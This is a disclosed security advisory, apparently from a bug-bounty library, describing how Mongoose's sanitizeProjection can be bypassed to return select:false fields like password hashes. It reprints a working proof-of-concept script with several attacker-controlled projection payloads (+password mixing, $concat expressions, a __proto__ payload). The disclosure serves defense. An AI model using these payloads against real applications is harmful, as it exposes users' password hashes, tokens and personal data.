# Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`

Mongoose's sanitizeProjection could be bypassed via many projection forms, letting user-controlled projections return select:false fields like password hashes and reset tokens.

- Payout: Research
- Severity: high
- Program: Mongoose
- Found by: Tomer-PL, assakafpix
- Disclosed: 2026-12-04
- CVE: CVE-2026-142596
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xfcm-rmv3-crmq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xfcm-rmv3-crmq
- Tags: area:oss domain:oss impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:info-disclosure vuln:prototype-pollution

**Target:** Mongoose ODM projection sanitizer (Node.js/MongoDB)
**Root cause:** sanitizeProjection only sanitized string projection values and only blocked +path in inclusive projections, so aggregation expressions, nested sub-projections, positional projections, prototype pollution, and discriminator filters bypassed the select:false exclusion logic.
**Steps:**
1. Install affected mongoose (e.g. `npm install mongoose@9.12.2`) and connect to a local MongoDB.
2. Define a schema with `password: { type: String, select: false }` and other select:false fields.
3. Pass attacker-controlled projections to a query with `sanitizeProjection(true)`, e.g. `User.findOne().sanitizeProjection(true).select('-name +password')`.
4. Observe the returned document includes the password hash; repeat with `{ name: { $concat: ['$password'] } }`, `'profile'`, `JSON.parse('{"__proto__":{"password":0}}')`, etc.
**How found:** Analysts enumerated projection syntax variants (exclusion/inclusion mixing, +path, aggregation expressions, $slice/$meta/$elemMatch, nested sub-projections, positional $, __proto__ keys, discriminators) and tested each against the sanitizer to find forms the string-only check missed.
**Exploitation:** An application that forwards user-controlled projection data into select()/find() with sanitizeProjection enabled returns select:false fields (password hashes, reset tokens, API keys) to the attacker, who reads them directly from the response.
**Insight:** When auditing projection/field-selection sanitizers, test every MongoDB projection form the driver accepts: aggregation expressions in object/array values, nested sub-projections, positional `$`, `$elemMatch`/`$slice`/`$meta`, and `__proto__` keys — string-only checks miss all of them.

## Proof of concept (copied exactly from the original report)

**PoC script with attacker-controlled projections**

```
const mongoose = require('mongoose');
const { Schema } = mongoose;

(async () => {
  await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');

  const User = mongoose.model('User', new Schema({
    name: String,
    password: { type: String, select: false },
    profile: { bio: String, ssn: { type: String, select: false } },
    recoveryCodes: { type: [String], select: false }
  }));
  await User.deleteMany({});
  await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });

  // Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled
  const attacks = [
    '-name +password',
    '-+password',
    { name: { $concat: ['$password'] } },
    { name: ['$password'] },
    { name: 1, profile: { $slice: ['$recoveryCodes', 1] } },
    { profile: { ssn: 1 } },
    'profile',
    JSON.parse('{"__proto__":{"password":0}}'),
    { name: { x: 1, $elemMatch: { $eq: 'alice' } } }
  ];
  for (const projection of attacks) {
    const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message);
    console.log(JSON.stringify(projection), '=>', JSON.stringify(doc));
  }

  await mongoose.disconnect();
})();
```

**Example bypassing sanitizeProjection with +password**

```
await User.findOne().sanitizeProjection(true).select('-name +password');
// { password: '<password hash>', ... }

await User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } });
// { name: '<password hash>' }
```

